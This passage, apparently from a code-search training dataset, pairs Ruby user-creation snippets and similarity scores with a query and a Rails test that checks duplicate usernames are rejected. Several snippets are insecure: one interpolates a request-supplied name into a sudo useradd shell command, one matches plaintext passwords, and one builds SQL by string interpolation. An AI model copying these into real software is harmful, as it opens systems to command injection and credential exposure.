create_user(params:)\n parse(JSON.parse(connection.post(\"users\", params.to_json).body))\n end", "def new_user\n system('clear')\n File.open(userdata, 'w') { |f| f.write([].to_json) } unless File.exist?(userdata)\n puts 'Welcome! Please register for an account to continue.'.colorize(:light_green)\n username = @prompt.ask('Username >')\n raise RequirementError.new, 'Requirements not met' if username.match?(/[!@#$%^&*(),.?\":{}|<>]/)\n\n new_user_password(username)\n rescue RequirementError\n puts 'Username cannot contain special characters. Please try again!'.colorize(:light_red)\n new_user\n end", "def create\n @user = User.new(user_params)\n action = params[:commit]\n if action == \"Add User\"\n respond_to do |format|\n if @user.valid?\n @user.count = 1\n @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n else\n format.html { render :new }\n end\n end\n elsif action == \"Login\"\n username = params[:user][:username]\n password = params[:user][:password]\n user = User.find_by(username: username, password:password)\n respond_to do |format|\n if user != nil\n user.update(count: user.count+1)\n format.html { redirect_to user, notice: 'User was successfully logged in.' }\n else\n @user.errors.add(:error_code, \"-4\") \n format.html { render :new }\n end\n end\n end\n end", "def register_user(email, username, password_digest, rank, username_downcase)\n $db.execute(\"INSERT INTO users (email, username, password_digest, rank, username_downcase) VALUES (?, ?, ?, ?, ?)\", email, username, password_digest, rank, username_downcase)\nend", "def add_user(opts)\n opts[:domain] = name\n GoodData::Domain.add_user(opts)\n end", "def create_user\n User.create name: 'test', email: '[email protected]', password: '123456'\n end", "def create\n @user = User.new(params[:user])\n @user.attributes = params[:user]\n if @user.save\n flash[:success] = I18n.t('users.created')\n redirect_to users_path\n else\n self.bread\n add_crumb(I18n.t('users.new'),new_user_path)\n render 'new'\n end\n end", "def create_user\n @user = User.new(params[:user])\n @user.save\n \n redirect_to :action => :users\n end", "def create_user(attributes)\n BrickFTP::API::User.create(attributes)\n end", "def create_user(attributes)\n BrickFTP::API::User.create(attributes)\n end", "def do_create\n begin\n raise 'Passwords do not match' unless request[:password] == request[:checkpass]\n user = Models::User.new\n user.username = request[:username]\n user.email = request[:email]\n user.name = request[:name]\n user.password = request[:password]\n user.save\n flash[:success] = 'New user has been added.'\n redirect('/admin')\n rescue Object => boom\n flash[:error] = \"Error encountered while saving: #{boom}\"\n redirect_referer\n end\n end", "def create\n\t\tparams.permit!\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(users_url,\n :notice => \"User #{@user.name} was successfully created.\") }\n format.xml { render :xml => @user,\n :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors,\n :status => :unprocessable_entity }\n end\n end\n end", "def add_user params\n validate_and_store :user, {:state => 'user'}.merge(params)\n end", "def add_user(email, name, account_balance)\n users = self.db[:users]\n now = DateTime.now\n users.insert(:email => email, :name => name, :account_balance => account_balance, :created_at => now, :updated_at => now,\n :device_id => \"nil\") # THIS IS ONLY IN DEVELOPMENT MODE\n puts \"<#User email: #{email} name: #{name} account_balance: #{account_balance} device_id: 'nil'>\"\n end", "def create_user(body)\n post 'create_user', body\n end", "def add_user(user, opts={})\n return false if self.user?(user, opts)\n unh = self._user_and_host(user, opts[:host])\n self.interpreter.log.info(PNOTE+\"Added MySQL user: #{unh}\")\n sql = \"create user #{unh}\"\n sql << \" identified by '#{opts[:password]}'\" if opts[:password]\n fetch(sql) if self.interpreter.writing?\n return true\n end", "def test_add_existing_user\n billcoin = BillCoin::new\n user = 'NewUser'\n billcoin.user_totals['NewUser'] = 0\n billcoin.add_user user\n assert_includes billcoin.user_totals.keys, user\n assert_equal 1, billcoin.user_totals.count\n end", "def create_user\n # provide the interface asking for name, destination and duration\n # then, create and store the User object\n end", "def add_user(username, uid)\n uid = Integer(uid)\n\n %x(sudo useradd -s /bin/bash -u #{uid} -m #{Shellwords.escape(username)})\n\n case $?.exitstatus\n when 0\n home_dir = Shellwords.escape(Etc.getpwnam(username).dir)\n \n #FileUtils.chmod(0771, home_dir)\n %x(sudo chmod 0771 #{home_dir})\n\n RightScale::Log.info \"User #{username} created successfully\"\n else\n raise SystemConflict, \"Failed to create user #{username}\"\n end\n end", "def create\n @user = User.new(params[:user])\n respond_to do |format|\n if @user.save\n name = params[:user][:name]\n\n seeds = ('a'..'z').to_a\n seeds.concat( ('A'..'Z').to_a )\n seeds.concat( (0..9).to_a )\n seeds.concat ['/', '.']\n seeds.compact!\n \n salt = '$1$'\n 8.times { salt << seeds[ rand(seeds.size) ].to_s }\n password = params[:user][:password].crypt(salt)\n logger.info(password)\n system(\"sudo useradd #{name} -s #{Rails.root}/script/gitty_shell.rb -p '#{password}'\")\n system(\"sudo -u #{name} git init /home/#{name}\")\n system(\"sudo chmod 755 /home/#{name}\")\n format.html { redirect_to home_url }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.new(user_params)\n @user.annual = @user.user_id.slice(1..4)\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'ユーザーの作成が完了しました。' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n user=User.new(user_params)\n if user.save\n flash[:notice]=\"new user was created\"\n redirect_to \"/users\"\n else\n flash[:notice]=\"new user creation ERROR, please try again\"\n\t\t\tredirect_to \"/users\"\n end\n\tend", "def adduser(journal)\n\tputs \"What is the username that you want to add?\"\n\tuser_name = gets.chomp.capitalize\n\tjournal.execute(\"INSERT INTO users (name) VALUES (?)\", [user_name])\nend", "def create_users(accountId, model) path = \"/api/v2/accounts/#{accountId}/users\"\n post(path, model, {}, AvaTax::VERSION) end" ]
[ "0.7755996", "0.75178", "0.75032717", "0.7470731", "0.7379892", "0.73672885", "0.7306198", "0.72496116", "0.7238248", "0.72301406", "0.7210192", "0.7199878", "0.7173042", "0.7135687", "0.71040875", "0.7041445", "0.6959711", "0.69358534", "0.6910528", "0.6910185", "0.6908795", "0.6878763", "0.6869496", "0.68492675", "0.682799", "0.68256277", "0.6818867", "0.68135566", "0.6812102", "0.6804191", "0.67697895", "0.67590827", "0.6733987", "0.67166877", "0.67134964", "0.66851264", "0.66717196", "0.6669242", "0.66540897", "0.6644903", "0.6640801", "0.6639341", "0.66367126", "0.66327447", "0.66263336", "0.66179436", "0.65869844", "0.6586084", "0.65847075", "0.6578511", "0.6576595", "0.6566196", "0.6558105", "0.65536237", "0.6551048", "0.65344536", "0.65248936", "0.6523561", "0.65203273", "0.6515476", "0.65144515", "0.65143436", "0.64984345", "0.6495886", "0.6490771", "0.6489394", "0.64840233", "0.64746785", "0.6468501", "0.64675075", "0.6463572", "0.6452095", "0.64491665", "0.64476466", "0.643775", "0.6431954", "0.6429348", "0.64194876", "0.64179707", "0.6406682", "0.6404974", "0.6400876", "0.63958275", "0.6388334", "0.6381655", "0.6381406", "0.6375857", "0.637342", "0.6371274", "0.63668025", "0.6364084", "0.6361961", "0.6357758", "0.6352729", "0.6347423", "0.6346958", "0.6342131", "0.6340267", "0.6338548", "0.63347346" ]
0.6772579
30
102 Add a user with existing name
def test_add_user_with_exist_name user = User.new user.name = 'student1' user.clear_password = "testStudent1" user.clear_password_confirmation = "testStudent1" user.fullname = "student1_fullname", user.role_id = "3" assert !user.save assert_equal I18n.translate('activerecord.errors.messages')[:taken], user.errors.on(:name) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_user(name)\n\t@users << {:name => name}\n end", "def _user_add argv = {}\n\t\tf\t\t\t\t= {}\n\t\tf[:tag]\t\t\t= argv[:tag] if argv.include?(:tag)\n\t\tf[:salt] \t\t= _random 5\n\n\t\t#username\n\t\t_throw Sl[:'the user is existing'] if _user? f[:name]\n\t\tf[:name] \t\t= argv[:name]\n\n\t\t#password\n\t\trequire \"digest/sha1\"\n\t\tf[:pawd] \t\t= Digest::SHA1.hexdigest(argv[:pawd] + f[:salt])\n\n# \t\tSdb[:user].insert(f)\n\t\t_submit :_user, :fkv => f, :uniq => true\n\t\tuid = Sdb[:_user].filter(:name => f[:name]).get(:uid)\n\t\tuid ? uid : 0\n\tend", "def user_add argv = {}\n\t\tfkv\t\t\t= {}\n\t\tfkv[:name]\t= argv[:name]\n\t\tfkv[:level]\t= argv[:level]\n\t\tfkv[:tag]\t= argv[:tag] if argv[:tag]\n\n\t\t# if the username is existed\n\t\t_throw Sl[:'the user is existed'] if user_has? fkv[:name]\n\n\t\t# password\n\t\trequire \"digest/sha1\"\n\t\tfkv[:salt] \t= _random 5\n\t\tfkv[:pawd] \t= Digest::SHA1.hexdigest(argv[:pawd] + fkv[:salt])\n\n# \t\tSdb[:user].insert(f)\n\t\tdata_submit :user_info, :fkv => fkv, :uniq => true\n\n\t\tuid = Sdb[:user_info].filter(:name => fkv[:name]).get(:uid)\n\t\tuid ? uid : 0\n\tend", "def addUser(stat,typ,email,pwhash)\n @conn.exec_prepared(\"add_user\",[stat,typ,email,pwhash])\n end", "def registerUser(name, usernumber)\n # puts (\"adding user\")\n @users.store(name, usernumber)\n end", "def _user_add f = {}\n\t\tf[:salt] \t\t= _random_string 5\n\t\tf[:created] \t= Time.now\n\n\t\trequire \"digest/sha1\"\n\t\tf[:pawd] \t\t= Digest::SHA1.hexdigest(f[:pawd] + f[:salt])\n\n\t\t_throw L[:'the user is existing'] if _user? f[:name]\n\n\t\tDB[:_user].insert(f)\n\t\tuid = DB[:_user].filter(:name => f[:name]).get(:uid)\n\t\tuid ? uid : 0\n\tend", "def addUser(id, username)\n @conn.exec_prepared(\"insert_user\", [id, username])\n end", "def add_user(name, value)\n self.class.post(\"/users/#{name}\",\n body: value,\n headers: {\n 'Content-Type' => 'application/json; charset=UTF-8',\n Connection: 'keep-alive',\n Accept: 'application/json, text/plain, */*'\n })\n end", "def addUser\n id = params[:id] # retrieve project ID from URI route\n proj = Project.find(id)\n if proj.add_user(params[:username],params[:rolename])\n head :no_content\n else\n render_error(:unprocessable_entity, \"Could not add user\")\n end\n end", "def fAddPunter (name, email, pwd)\n @users.addPunter(name,email,pwd)\n end", "def create_user(db, user_name)\n\tdb.execute(\"INSERT INTO users (user_name) VALUES (?)\", [user_name])\n\tputs \"added new user\"\nend", "def add_user(db, user_name)\n db.execute(\"INSERT INTO users (user_name) VALUES (?),\" [user_name])\nend", "def create_new_user\r\n touch(\"* id:'#{add}'\")\r\n end", "def add_user(login, password)\n GoodData::Domain.add_user(name, login, password)\n end", "def add(name, ugid, homedir)\n fail 'user already exists' if include?(name)\n syscmd(\"groupadd -g #{ugid} #{name}\")\n syscmd(\"useradd -u #{ugid} -g #{ugid} -d #{homedir} -c #{COMMENT} #{name}\")\n exclusively { users[name] = ugid }\n end", "def create user_name\n response = @client.action \"RegisterUser\", \"Name\" => user_name\n\n Response::User.new response.body['RegisterUserResponse']\n end", "def createUser(nickname) \n usr = User.new(nickname)\n backend_addUser(usr) \n end", "def add_user(user)\n @users[user.name] = user\n end", "def add_user(db, user_name)\r\nadd_user = '\r\n\r\n\tINSERT INTO users \r\n\r\n\t(name, cache, expected_income, actual_income, expenses, month)\r\n\tVALUES (?,0,0,0,0,1)'\r\n\tdb.execute(add_user, [user_name]) \r\nend", "def addUser(course_id, name, slug, course_site, instructors, partners, homepage, counter, url_photo, summary)\n @conn.exec_prepared(\"insert_user\", [course_id, name, slug, course_site, instructors, partners, homepage, counter, url_photo, summary])\n end", "def adduser(journal)\n\tputs \"What is the username that you want to add?\"\n\tuser_name = gets.chomp.capitalize\n\tjournal.execute(\"INSERT INTO users (name) VALUES (?)\", [user_name])\nend", "def add_to_database\n if self.valid?\n User.add({\"name\" => \"#{self.name}\"})\n else\n false\n end\n end", "def add_user(user)\r\n\t\tsend(\"ADC\",\"FL N=#{user.name} F=#{user.safenick}\")\r\n\t\tsend(\"ADC\",\"AL N=#{user.name} F=#{user.safenick}\")\r\n\t\t## XXX changes recorded locally by ADD msg back\r\n\t\treturn 1\r\n\tend", "def register user_name, project_name\n unless @client.project.member? user_name, project_name\n @client.role.create user_name\n @client.role.create user_name, project_name\n @client.project.add_member user_name, project_name\n end\n end", "def sign_up(name:, user_name:)\n user_name = user_name.downcase\n return SYNTAX_ERROR if include_punctuation?(user_name)\n return TOO_LONG_ERROR if too_long?(user_name)\n return TOO_SHORT_ERROR if too_short?(user_name)\n\n @user_class.add(name: name, user_name: user_name)\n end", "def add_user(opts)\n opts[:domain] = name\n GoodData::Domain.add_user(opts)\n end", "def add username\n @members.add username\n end", "def create_new_user(database, username)\n\tdatabase.execute(\"INSERT INTO users (name) VALUES ( ? )\",[username])\nend", "def add_user(user)\n self.users.create(id: user.id)\n end", "def create\n\n @new_user = User.new\n\n new_user = @new_user.add(params['user_name'], params['pswd1'], params['email'], params['full_name'])\n\n if new_user.errors.any?\n redirect_to \"/\", :flash => { :error => 'User already exists'}\n else\n redirect_to \"/main\"\n end\n end", "def register()\n\tentry = {\"userid\" => @userid, \"username\" => @username, \"email\" => @email, \"password\" => @password}\n\tDATABASE.newEntry(\"users\", entry)\n\tend", "def add_user(db, name, age, current_weight, goal_weight, max_mile)\n\tdb.execute(\"INSERT INTO users (name, age, current_weight, goal_weight, max_mile) \n\tVALUES (?, ?, ?, ?, ?);\", [name, age, current_weight, goal_weight, max_mile]\n\t)\nend", "def createNewUser(userName, initialGroup, userEmail, fname, lname, password)\n\n password = password.encrypt\n user = {\"login\" => userName,\n \"group0\" => initialGroup,\n \"email\" => userEmail,\n \"fname\" => fname,\n \"lname\" => lname,\n \"password\" => password,\n \"orga\" => \"0\"}\n saveUser(userName, user)\n end", "def user(*args)\n @users << User.add(*args)\n end", "def add_user_name(username)\n\t\tuser_name_input.set(username)\n\tend", "def add_user(data, opts = {})\n # data[:domain] = name\n GoodData::Domain.add_user(data, name, { client: client }.merge(opts))\n end", "def fAddAdmin (name, email, pwd)\n @users.addAdmin(name,email,pwd)\n end", "def add_user(user)\n @usernames[user] = get_color unless @usernames.has_key?(user)\n end", "def add_new_user()\n new_user_link.click\n end", "def create_user\n command = compile_command(\"useradd\") do |useradd|\n useradd << universal_options\n useradd << useradd_options\n end\n\n run_command(:command => command)\n\n # SmartOS locks new users by default until password is set\n # unlock the account by default because password is set by chef\n if check_lock\n unlock_user\n end\n end", "def create_user(name, password_digest, rank, security, mail)\n\n db = connect_to_db(\"db/db.db\")\n\n db.execute(\"INSERT INTO users (name, password, rank, security_level, mail) VALUES (?,?,?,?,?)\", name, password_digest, rank, security, mail)\n\n end", "def add_user(username, password, email)\n password_hash = make_pw_hash(password)\n user = { _id: username, password: password_hash }\n user['email'] = email unless email.empty?\n begin\n # You need to insert the user into the users collection.\n @users.insert_one(user)\n p 'This space intentionally left blank.'\n rescue\n p 'Error MongoDB'\n return nil\n end\n true\n end", "def create_user(details)\n puts \"Checking for #{details[:user_name]} user...\"\n\n db_user = User.where(:user_name => details[:user_name]).first\n\n if db_user.blank?\n db_user = User.create(details)\n db_user.creator_id = db_user.id\n db_user.updater_id = db_user.id\n\n db_user.skip_user_name_exclusion_list = true\n\n db_user.save!\n\n db_user.skip_user_name_exclusion_list = false\n\n puts \"... #{details[:user_name]} user created.\"\n else\n puts \"... #{details[:user_name]} user already exists.\"\n end\nend", "def create_user(input)\n User.create(name: input)\n end", "def user_name=(name)\n self.user = User.find_or_create_by(name: name)\n end", "def add_user(username, params)\n\t\t\t\t@session['datastore'][username] = params\n\t\t\tend", "def add nick, email, jid\n\t\[email protected] Hash[\n\t\t\t'nick' => nick,\n\t\t\t'email' => email,\n\t\t\t'jid' => jid,\n\t\t\t'role' => 'user',\n\t\t\t'password' => 'NOTSET']\n\tend", "def create_new_user\n name = @prompt.ask(\"what is your name?\".red)\n @user = User.find_by(name: name)\n\n if @user\n # User.exists?(@user.name)\n puts \"Welcome back #{@user.name}\"\n show_current_series\n current_series \n remove_from_series_list\n\n else\n @user= User.create(name: name)\n puts\"Welcome #{@user.name}, to Tv series App\".green\n input = get_user_input\n \n series_id = get_series_information(input)\n puts \"\"\n # binding.pry\n end\n end", "def add_user(name, is_admin, building_id, notify_new_request= false, notify_new_listing=false)\n user_id = User.create(\n first_name: name,\n last_name: 'LNU',\n email: 'jack+' + name + '@jackmgill.com',\n password: 'foo',\n is_admin: is_admin,\n building_id: building_id,\n notify_new_request: notify_new_request,\n notify_new_listing: notify_new_listing\n ).id\n return user_id\nend", "def new_user(name)\n User.create(name: name)\nend", "def add_user(user_data, name = nil, opts = { :client => GoodData.connection })\n generated_pass = rand(10E10).to_s\n domain_name = name || user_data[:domain]\n user_data = user_data.to_hash\n data = {\n :login => user_data[:login] || user_data[:email],\n :firstName => user_data[:first_name] || 'FirstName',\n :lastName => user_data[:last_name] || 'LastName',\n :password => user_data[:password] || generated_pass,\n :verifyPassword => user_data[:password] || generated_pass,\n :email => user_data[:email] || user_data[:login]\n }\n\n # Optional authentication modes\n tmp = user_data[:authentication_modes]\n if tmp\n if tmp.is_a? Array\n data[:authenticationModes] = tmp\n elsif tmp.is_a? String\n data[:authenticationModes] = [tmp]\n end\n end\n\n # Optional company\n tmp = user_data[:company_name]\n tmp = user_data[:company] if tmp.nil? || tmp.empty?\n data[:companyName] = tmp if tmp && !tmp.empty?\n\n # Optional country\n tmp = user_data[:country]\n data[:country] = tmp if tmp && !tmp.empty?\n\n # Optional phone number\n tmp = user_data[:phone]\n tmp = user_data[:phone_number] if tmp.nil? || tmp.empty?\n data[:phoneNumber] = tmp if tmp && !tmp.empty?\n\n # Optional position\n tmp = user_data[:position]\n data[:position] = tmp if tmp && !tmp.empty?\n\n # Optional sso provider\n tmp = user_data[:sso_provider]\n data['ssoProvider'] = tmp if tmp && !tmp.empty?\n\n # Optional timezone\n tmp = user_data[:timezone]\n data[:timezone] = tmp if tmp && !tmp.empty?\n\n c = client(opts)\n\n # TODO: It will be nice if the API will return us user just newly created\n begin\n url = \"/gdc/account/domains/#{domain_name}/users\"\n response = c.post(url, :accountSetting => data)\n rescue RestClient::BadRequest\n raise GoodData::UserInDifferentDomainError, \"User #{data[:login]} is already in different domain\"\n end\n\n url = response['uri']\n raw = c.get url\n\n # TODO: Remove this hack when POST /gdc/account/domains/{domain-name}/users returns full profile\n raw['accountSetting']['links'] = {} unless raw['accountSetting']['links']\n raw['accountSetting']['links']['self'] = response['uri'] unless raw['accountSetting']['links']['self']\n c.create(GoodData::Profile, raw)\n end", "def add_user(user, opts={})\n return false if self.user?(user, opts)\n unh = self._user_and_host(user, opts[:host])\n self.interpreter.log.info(PNOTE+\"Added MySQL user: #{unh}\")\n sql = \"create user #{unh}\"\n sql << \" identified by '#{opts[:password]}'\" if opts[:password]\n fetch(sql) if self.interpreter.writing?\n return true\n end", "def backend_addUser(param) \n @Users.push(param) \n end", "def adduser(email, password, first_name, last_name, slug)\n @user = User.invite!(:email => email, :slug => slug) do |u|\n u.skip_invitation = true\n end\n token = @user.instance_variable_get(:@raw_invitation_token)\n User.accept_invitation!(:invitation_token => token,\n :password => password,\n :password_confirmation => password,\n :first_name => first_name,\n :last_name => last_name,\n :slug => slug)\n\n puts \"Created User #{email} with password #{password}\"\n @user\n end", "def add_users(resource, users)\n users.each do |u|\n begin\n resource.add_user({ :user_name => u })\n rescue Aws::IAM::Errors::NoSuchEntity\n puts Colors.red(\"\\tNo such user #{u}!\")\n end\n end\n end", "def add_user(user_name, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'AddUser'\n\t\targs[:query]['UserName'] = user_name\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'https'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :comments\n\t\t\targs[:query]['Comments'] = optional[:comments]\n\t\tend\n\t\tself.run(args)\n\tend", "def []=(name, data)\n system.run(:add, \"user\", name, data, data.length, @keyring)\n end", "def add_user(user)\n super.tap do |org_user|\n class_name = (users.count == 1) ? JudgeTeamLead : DecisionDraftingAttorney\n class_name.create!(organizations_user: org_user)\n end\n end", "def add_user_to_team(team, username)\n team_id = team_id_by_name(team)\n client.add_team_membership(team_id, username)\n end", "def add_user(user)\n user_hash[user.nick]=user unless user_hash.has_key?(user.nick)\n end", "def create_git_user(user_name, name)\n # self.class.require_token\n\n response = HTTParty.post(\n GitToolkit::GIT_BASE_URL + 'users',\n :headers => {\n 'PRIVATE-TOKEN' => GIT_TOKEN\n },\n :body => {\n :email => self.mail_address,\n :password => 'pass4git',\n :username => user_name,\n :name => name\n }\n )\n Rails.logger.info \"Git server response (create user): #{response}\"\n self.git_id = response['id']\n get_token\n end", "def user_add(username, password,\n config = Hash.new)\n default_config = {\n :add_user => true,\n :password => password,\n :comment => \"\",\n :use_mail => true,\n :use_ftp => false,\n :use_file_sharing => false,\n :mail_quota => 200, # in MB\n :virus_check => false,\n :spam_filter => false\n }\n\n user_setting(username,\n default_config.merge(config))\n end", "def register_user(email, username, password_digest, rank, username_downcase)\n $db.execute(\"INSERT INTO users (email, username, password_digest, rank, username_downcase) VALUES (?, ?, ?, ?, ?)\", email, username, password_digest, rank, username_downcase)\nend", "def add_friend(name)\n # If friend does not already exist, create them without a phone number.\n friend = User.find_by_name name.downcase\n if !friend.nil? && !friend.id.nil?\n puts \"Found user, #{friend.id}, creating Friendship\"\n Friendship.create(:user_1_id => self.id, :user_2_id => friend.id)\n else\n friend = User.create :name => name.downcase\n if !friend.nil? && !friend.id.nil?\n puts \"Found no user, created use, #{friend.id}, creating Friendship\"\n Friendship.create(:user_1_id => self.id, :user_2_id => friend.id)\n else\n puts \"Found no user and could not create new User.\"\n return false\n end\n end\n end", "def add_user(user,role = 'Member')\n self.users.create(id: user.id, role: role)\n end", "def add_user(username, reload = false, update_default = false)\n until username\n print \"User name >\"\n STDOUT.flush\n username = STDIN.gets.chomp\n return if username.empty?\n redo unless username =~ /\\A[0-9A-Z_a-z]+\\z/\n end\n \n if !reload && user_registered?(username)\n puts \"The user \\\"#{username}\\\" is already registered.\"\n return\n end\n \n auth = auth_http(:user => username, :reload => reload, :browser => true)\n if auth != nil\n puts \"User \\\"#{username}\\\" is successfully registered.\"\n if update_default || @config[\"login/\"] == nil\n @config[\"login/\"] = username\n puts \"Default user is set to @#{username}.\"\n end\n end\n save_config\n end", "def add_user(username, uid)\n uid = Integer(uid)\n\n %x(sudo useradd -s /bin/bash -u #{uid} -m #{Shellwords.escape(username)})\n\n case $?.exitstatus\n when 0\n home_dir = Shellwords.escape(Etc.getpwnam(username).dir)\n \n #FileUtils.chmod(0771, home_dir)\n %x(sudo chmod 0771 #{home_dir})\n\n RightScale::Log.info \"User #{username} created successfully\"\n else\n raise SystemConflict, \"Failed to create user #{username}\"\n end\n end", "def add_user(user)\n @users << user\n end", "def add_user(user) # rubocop:disable Metrics/AbcSize\n cmd_args = [\"'#{user.name}'\"]\n cmd_args.unshift \"--home '#{user.homedir}'\" if user.homedir\n if user.shell\n cmd_args.unshift \"--shell '#{user.shell}'\"\n elsif user.is_system\n cmd_args.unshift \"--shell '/usr/sbin/nologin'\"\n end\n cmd_args.unshift \"--gid '#{user.group}'\" if user.group\n cmd_args.unshift '--system' if user.is_system\n\n # Collapse the cmd_args array into a string that can be used\n # as an argument to `useradd`\n useradd_args = cmd_args.join \"\\s\"\n\n # Collapse the cmd_args array into a string that can be used\n # as an argument to `usermod`; If this is a system account,\n # then specify it as such for user addition only (strip\n # --system from usermod_args)\n usermod_args = (cmd_args - [\"--system\"]).join \"\\s\"\n\n return <<-HERE.undent\n if getent passwd '#{user.name}' > /dev/null 2>&1; then\n /usr/sbin/usermod #{usermod_args}\n else\n /usr/sbin/useradd #{useradd_args}\n fi\n HERE\n end", "def add_member\n @group = Group.find(params[:id])\n @user = User.find_by_username(params[:username])\n\n unless @user.nil? || @group.users.include?(@user)\n @group.users << @user\n flash[:notice] = \"Miembro añadido exitosamente.\" if @group.save\n else\n flash[:error] = \"No se pudo añadir a este usuario. Verifique que el usuario a añadir sea el correcto.\"\n end\n\n redirect_to group_path(@group)\n end", "def add_user(organization, user)\n organization.add_user user\n end", "def add user, pin = nil\n command = aqhbci <<-CMD\n adduser \\\n --tokentype=#{user.tokentype} \\\n --context=#{user.context} \\\n --bank=#{user.bank} \\\n --user=#{user.userid} \\\n --server=#{user.server} \\\n --username=#{user.name} \\\n --hbciversion=#{user.hbciversion}\n CMD\n stdin, stdout, stderr, wait_thr = Open3.popen3(command.strip)\n success = wait_thr.value.success?\n\n if pin && success\n with_secure_pin user, pin do |f|\n sysid_command = aqhbci(\"getsysid --user=#{user.userid}\", \"--pinfile=#{f.path.strip}\").strip\n stdin, stdout, stderr, wait_thr = Open3.popen3(sysid_command)\n wait_thr.join\n success = success && wait_thr.value.success?\n end\n end\n return success\n end", "def create(context, name, should)\n res = context.transport.post_request(context, 'security/users', keys_to_camelcase(should))\n\n context.err(name, res.body) unless res.success?\n end", "def add\n # ask the user for the user name\n new_user_name = @view.ask_user_for(:username)\n # ask the user for the user continent\n new_user_continent = @view.ask_user_for(:password)\n # create an instance of `Country` based on what the user said\n new_user = User.new(username: new_user_name, password: new_user_continent)\n # adding in to the repo\n @repo.add(new_user)\n end", "def add_user_to_group(username, groupname)\n\t\t\t\tif !user?(username)\n\t\t\t\t\traise(NoSuchUserError, \"No such user: #{username}\")\n\t\t\t\tend\n\n\t\t\t\tif !group?(groupname)\n\t\t\t\t\traise(NoSuchGroupError, \"No such user: #{groupname}\")\n\t\t\t\tend\n\t\t\tend", "def add_team_member!(author, username)\n role = APP_CONFIG[\"ldap\"][\"group_sync\"][\"default_role\"]\n params = { id: id, role: TeamUser.roles[role], user: username }\n\n team_user = ::TeamUsers::BuildService.new(author, params).execute\n team_user = ::TeamUsers::CreateService.new(author, team_user).execute\n return true if team_user.valid? && team_user.persisted?\n\n Rails.logger.tagged(:ldap) do\n Rails.logger.warn \"Could not add team member: #{team_user.errors.full_messages.join(\", \")}\"\n end\n false\n end", "def create_account\n system 'clear'\n puts \"--------LOGIN--------\"\n used_flag = false\n while !used_flag\n new_user = @prompt.ask(\"Enter username: \", required: true)\n if !User.all.map(&:name).include?(new_user)\n new_password = @prompt.mask(\"Enter password: \", required: true)\n used_flag = 1\n else\n puts \"Username already taken\"\n end\n end\n @current_user = User.create(name: new_user, password: new_password)\n main_menu\n end", "def test_add_existing_user\n billcoin = BillCoin::new\n user = 'NewUser'\n billcoin.user_totals['NewUser'] = 0\n billcoin.add_user user\n assert_includes billcoin.user_totals.keys, user\n assert_equal 1, billcoin.user_totals.count\n end", "def add_user(user)\n self.users << user unless self.users.include?(user)\n end", "def signup_user(name=nil)\n if name.nil?\n puts \"Please enter your name to signup\"\n name = CLI.gets_with_quit\n end\n if self.user_exists(name)\n message = \"Sorry that name is already taken :(\"\n options = [ \"Go To Login\", \"Try Again\", \"Back to Main Menu\"]\n choice = PROMPT.select(message, options)\n case options.index(choice)\n when 0 then self.login_user\n when 1 then self.signup_user\n when 2 then CLI.start\n end\n else\n password = PROMPT.mask(\"Enter your password:\")\n user = User.create(name: name)\n user.set_password = password\n CLI.active_user = user\n end\n end", "def prepAddUser\n sql = %{\n INSERT INTO users\n (status,type,email,password_hash)\n VALUES\n ($1,$2,$3,$4)\n }\n @conn.prepare(\"add_user\",sql)\n end", "def test_add_user\n num_users0 = count_users\n proto = User.new('oauth_id' => SecureRandom.uuid, 'name' => 'Test User') \n new_user = @ds.add_or_get_user(proto)\n user = get_user(proto.oauth_id)\n assert(user === new_user)\n assert_equal(num_users0 + 1, count_users)\n assert_equal(user.id, @ds.user_id)\n delete_user(user.oauth_id)\n end", "def user_apikey_add(op)\n name = op.cmd_parse\n\n client = get_client\n\n begin\n client.add_apikey(name)\n rescue TreasureData::NotFoundError\n $stderr.puts \"User '#{name}' does not exist.\"\n $stderr.puts \"Use '#{$prog} \" + Config.cl_options_string + \"users' to show users.\"\n exit 1\n end\n\n $stderr.puts \"Added an API key to user '#{name}'.\"\n $stderr.puts \"Use '#{$prog} \" + Config.cl_options_string + \"user:apikeys #{name}' to show the API key\"\n end", "def add_user(username, password, attributes = {})\n @users[username] = {}\n @users[username][:password] = password\n if attributes.empty?\n @users[username][:attributes] = {\n 'User-Name' => username,\n 'Filter-Id' => 60\n }\n else\n @users[username][:attributes] = attributes\n end\n end", "def add(name, password, email)\n id = Digest::SHA256.hexdigest name + '_' + password + '_' + email\n id = id[0, 8]\n @names[id] = name\n @passwords[id] = password\n @emails[id] = email\n @stats[id] = { swin: 0, slose: 0, gwin: 0, glose: 0, draw: 0 }\n\n id\n end", "def find_or_create(name)\n @users[name]\n end", "def add_user_to_db(screen_name)\n user = github.get_user(screen_name)\n Cheepcreep::GithubUser.create(:login => json['login'],\n :name => json['name'],\n :blog => json['blog'],\n :followers => json['followers'],\n :following => json['following'],\n :public_repos => json['public_repos'])\n\nend", "def add_user(newuser)\n @group_users.push(newuser)\n end", "def user_obj\n puts \"\\nPlease enter your name: \\n \".colorize(:green).bold\n user_name = gets.strip.capitalize\n User.find_or_create_by(name: user_name)\n end", "def user_present(name)\n user_exists = false\n execute(\"dscacheutil -q user -a name #{name}\") do |result|\n user_exists = result.stdout.start_with?(\"name: #{name}\")\n end\n\n return if user_exists\n\n uid = uid_next\n gid = gid_next\n create_cmd = \"dscl . create /Users/#{name}\"\n create_cmd << \" && dscl . create /Users/#{name} NFSHomeDirectory /Users/#{name}\"\n create_cmd << \" && dscl . create /Users/#{name} UserShell /bin/bash\"\n create_cmd << \" && dscl . create /Users/#{name} UniqueID #{uid}\"\n create_cmd << \" && dscl . create /Users/#{name} PrimaryGroupID 